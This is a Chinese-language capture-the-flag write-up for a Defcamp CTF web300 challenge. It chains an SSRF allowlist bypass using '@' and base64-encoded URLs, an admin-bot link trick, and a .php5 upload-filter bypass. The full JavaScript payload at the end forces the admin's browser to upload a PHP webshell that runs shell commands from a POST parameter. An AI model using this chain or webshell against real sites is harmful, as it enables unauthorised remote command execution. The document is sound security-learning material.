web - dctf - web300 - SSRF 和 XSS 的一個例子

binary 自動化分析先停了一個小段落,這陣子都在打 web,上禮拜打了一場 Defcamp CTF Quals,有一題 web300 似乎還蠻不錯的(比起其他題目很不穩又默默改題目來說,這題算出得不錯…)
所以來整理一下 writeup,主要思路是:SSRF 可以連到 admin.php 的頁面,然後看到 admin.php 有個檔案上傳的地方,因為 SSRF 只能用 GET 而無法用 POST,所以利用 XSS 讓管理者點我們做的惡意頁面來達到檔案上傳,最後上傳 webshell。

以下分成三步驟:

流程:

  1. SSRF 可以連到 admin.php
  2. XSS 讓 admin 點擊網頁
  3. 讓他點擊的網頁會自動上傳檔案到 localhost,就可以寫 webshell

1. SSRF 可以連到 admin.php

題目有給原始碼,看完後發現有一個 page=print 的頁面,他可以把參數 url 的網址抓下來呈現在網頁上
dctf-web300-1

aHR0cDovLzEwLjEzLjM3LjEzLz9wYWdlPXByb2R1Y3QmcHJvZD1wcm9kdWN0MQ== 其實就是 'http://10.13.37.13/?page=product&prod=product1'.encode('base64')

因為原始碼有個 begin_with 函式判斷 url 參數,所以感覺網址必須要 http://10.13.37.13 開頭,我嘗試要讓他連 10.13.37.13 以外的地方,所以用 @ 來繞過:

1
http://10.13.37.13/?page=print&url=aHR0cDovLzEwLjEzLjM3LjEzOjEyM0B5b3VyLmlwLw==

aHR0cDovLzEwLjEzLjM3LjEzOjEyM0B5b3VyLmlwLw== 其實就是 'http://10.13.37.13:123@your.ip/'.encode('base64')
另一個繞過方法是用 domain name:http://10.13.37.13.my.domain/a.html

然後發現 104.238.167.85 來連我,是搜了一下這個 ip,沒什麼結果

後來發現一個 admin.php

1
http://10.13.37.13/?page=print&url=aHR0cDovLzEwLjEzLjM3LjEzOjEyM0AxMjcuMC4wLjEvYWRtaW4ucGhwP3NvdXJjZQ==

同理,這是連 admin.php?source,要 127.0.0.1 的 ip http://10.13.37.13:123@127.0.0.1/admin.php?source 才連得到,如果用 http://10.13.37.13/admin.php?source 會被擋住(顯示 You are not allowed.),他限制一定要 localhost 才可以看網頁,至於為什麼要加上 ?source,因為他一開始給原始碼是這種方式給的,所以猜 admin.php 也是這樣 XD
admin.php 的原始碼連結

2. XSS 讓 admin 點擊網頁

admin.php 裡面可以上傳檔案,但由於 SSRF 是網址 query 的,所以無法直接我們瀏覽器上用 POST 來上傳檔案
而網頁上有個 Contact Page 可以傳網址給 admin 他會點擊網頁,不過看原始碼發現,傳的網址 host 必須是 10.13.37.13 否則他不點連結
dctf-web300-2

這邊卡了一下,一直在想要怎麼用 SSRF 做 POST,後來想到這個 XSS 可以讓他點剛剛的 page=print
但繞過方法就是用上面的 page=print 這個頁面來繞過,只要傳給他這個網址:

1
http://10.13.37.13/?page=print&url=aHR0cDovLzEwLjEzLjM3LjEzOjEyM0B5b3VyLmlwL3NlbmQuaHRtbA==

其中 aHR0cDovLzEwLjEzLjM3LjEzOjEyM0B5b3VyLmlwL3NlbmQuaHRtbA== 其實就是 'http://10.13.37.13:123@your.ip/send.html'.encode('base64')

我們在自己伺服器寫一個 send.html,裡面是用 js 來 POST 上傳檔案,當 admin 點了 http://10.13.37.13/?page=print&url=aHR0cDovLzEwLjEzLjM3LjEzOjEyM0B5b3VyLmlwL3NlbmQuaHRtbA== 之後,會同時得到 http://10.13.37.13:123@your.ip/send.html 裡面的 javascript code 並且執行,所以就藉由 admin 來幫我們上傳檔案了

3. 讓他點擊的網頁會自動上傳檔案到 localhost,就可以寫 webshell

最後是上傳檔案的格式,因為他過濾了副檔名 ‘php’, ‘htaccess’, ‘pl’, ‘py’, ‘c’, ‘cpp’, ‘ini’, ‘html’
繞過得方法只要上傳 .php5 就可以了

其他思路

這篇發現 /server-status/index.php 這個頁面,然後他們就寫一個 script 每秒抓頁面看有沒有人上傳 webshell,就用別人的 webshell XD

Reference

Sending_forms_through_JavaScript

javascript POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<script>
window.addEventListener('load', function () {

// The sendData function is our main function
function sendData() {

// To construct our multipart form data request,
// We need an XMLHttpRequest instance
var XHR = new XMLHttpRequest();
// We need a sperator to define each part of the request
var boundary = "blob";
// And we'll store our body request as a string.
var data = "";

var name = "file";
var filename = "qweqweqweqwe.php5";
var filetype = "application/x-php";
var filebinary = "<?php $output = shell_exec($_POST['sh']); print_r($output); ?>";

// We start a new part in our body's request
data += "--" + boundary + "\r\n";

// We said it's form data (it could be something else)
data += 'content-disposition: form-data; '
// We define the name of the form data
+ 'name="' + name + '"; '
// We provide the real name of the file
+ 'filename="' + filename + '"\r\n';
// We provide the MIME type of the file
data += 'Content-Type: ' + filetype + '\r\n';

// There is always a blank line between the meta-data and the data
data += '\r\n';

// We happen the binary data to our body's request
data += filebinary + '\r\n';

// For text data, it's simpler
// We start a new part in our body's request
data += "--" + boundary + "\r\n";

// We said it's form data and give it a name
data += 'content-disposition: form-data; name="submit"\r\n';
// There is always a blank line between the meta-data and the data
data += '\r\n';

// We happen the text data to our body's request
data += "Submit" + "\r\n";

// Once we are done, we "close" the body's request
data += "--" + boundary + "--";

// We define what will happen if the data are successfully sent
XHR.addEventListener('load', function(event) {
console.log('sent');
});

// We define what will happen in case of error
XHR.addEventListener('error', function(event) {
console.log('error');
});

// We setup our request
XHR.open('POST', 'http://127.0.0.1/admin.php?page=upload');

// We add the required HTTP header to handle a multipart form data POST request
XHR.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
XHR.setRequestHeader('Content-Length', data.length);

// And finally, We send our data.
// Due to Firefox's bug 416178, it's required to use sendAsBinary() instead of send()
XHR.send(data);
}

sendData();
});
</script>